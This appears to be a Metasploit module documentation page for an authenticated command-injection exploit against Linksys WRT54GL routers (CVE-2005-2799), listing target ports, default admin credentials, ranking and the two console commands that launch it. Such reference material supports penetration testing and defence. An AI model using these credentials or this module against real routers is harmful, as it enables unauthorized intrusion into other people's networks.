Module Overview
Name: Linksys WRT54GL apply.cgi Command Execution
Module: exploit/linux/http/linksys_wrt54gl_apply_exec
Source code: modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb
Disclosure date: 2013-01-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2005-2799
Some Linksys Routers are vulnerable to an authenticated OS command injection in the Web Interface. Default credentials are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. The user must be prudent when using this module since it modifies the router configuration while exploitation, even when it tries to restore previous values.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/linksys_wrt54gl_apply_exec
msf exploit(linksys_wrt54gl_apply_exec) > exploit
